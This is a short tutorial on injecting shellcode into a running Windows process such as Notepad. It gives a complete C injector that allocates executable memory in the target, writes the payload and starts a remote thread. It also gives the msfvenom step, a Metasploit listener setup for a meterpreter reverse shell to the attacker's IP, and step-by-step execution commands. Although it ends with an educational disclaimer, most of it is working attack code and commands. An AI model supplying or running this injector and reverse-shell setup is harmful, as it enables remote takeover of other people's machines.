Shellcode Injection in Windows Processes

By Ouzidane Reda

April 8, 2025

Overview

This document demonstrates a shellcode injection technique in Windows using C and WinAPI. The goal is to execute arbitrary shellcode inside a remote process (e.g., Notepad), thereby gaining control of that process for post-exploitation.

Steps Overview

1. Generate a reverse shell payload using `msfvenom`
2. Paste the shellcode into the provided C injector
3. Compile the program using MinGW
4. Spawn a process (e.g., Notepad), find its PID
5. Inject the shellcode
6. Set up a listener in Metasploit and catch the reverse shell

Shellcode Injector Code

Listing 1: Shellcode Injector in C

```c
#include <windows.h>
#include <stdio.h>

const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";
DWORD PID, TID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;

// Replace this with your generated shellcode from msfvenom
unsigned char shellcode[] =
"\xfc\x48\x83..."; // Truncated for brevity

int main(int argc, char* argv[]){
    if(argc < 2){
        printf("%s Usage: program.exe <PID>\n", e);
```

```
        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);
    printf("%s Trying to open a handle to process (%ld)\n", i, PID);

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if(hProcess == NULL){
        printf("%s Couldn't get a handle to the process (%ld), error: %ld\n", e
            , PID, GetLastError());
        return EXIT_FAILURE;
    }
    printf("%s Got a handle to the process!\n\\---0x%p\n", k, hProcess);

    rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT |
        MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    printf("%s Allocated %zu bytes of memory of process (%ld) with rwx
        permissions\n", k, sizeof(shellcode), PID);

    WriteProcessMemory(hProcess, rBuffer, shellcode, sizeof(shellcode), NULL);
    printf("%s Wrote %zu bytes to process (%ld) memory\n", k, sizeof(shellcode)
        , PID);

    hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)
        rBuffer, NULL, 0, 0, &TID);
    if(hThread == NULL){
        printf("%s Couldn't create remote thread, error: %ld\n", e,
            GetLastError());
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }

    printf("%s Got a handle to the thread(%ld)\n\\---0x%p\n", k, TID, hThread);
    printf("%s Waiting for thread to finish executing\n", k);
    WaitForSingleObject(hThread, INFINITE);
    printf("%s Thread finished executing\n", k);

    printf("%s Cleaning up\n", i);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return EXIT_SUCCESS;
}
```

Metasploit Listener

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_IP>
set LPORT 4444
run
```

Execution Flow

1. Start Notepad: `Start-Process notepad`
2. Get PID: `tasklist | findstr notepad`
3. Run the injector: `injector.exe <PID>`
4. Catch reverse shell in Metasploit

Conclusion

This report demonstrated how to inject shellcode into a remote process using Windows API. This forms the foundation for more advanced techniques such as manual mapping, reflective DLL injection, and evasion against modern EDR solutions.

Disclaimer

This document is for educational and ethical research purposes only. Do not use these techniques against systems without explicit authorization.